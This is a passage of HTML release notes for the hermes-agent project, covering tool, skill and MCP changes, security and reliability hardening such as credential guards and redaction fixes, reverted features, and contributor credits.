data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" 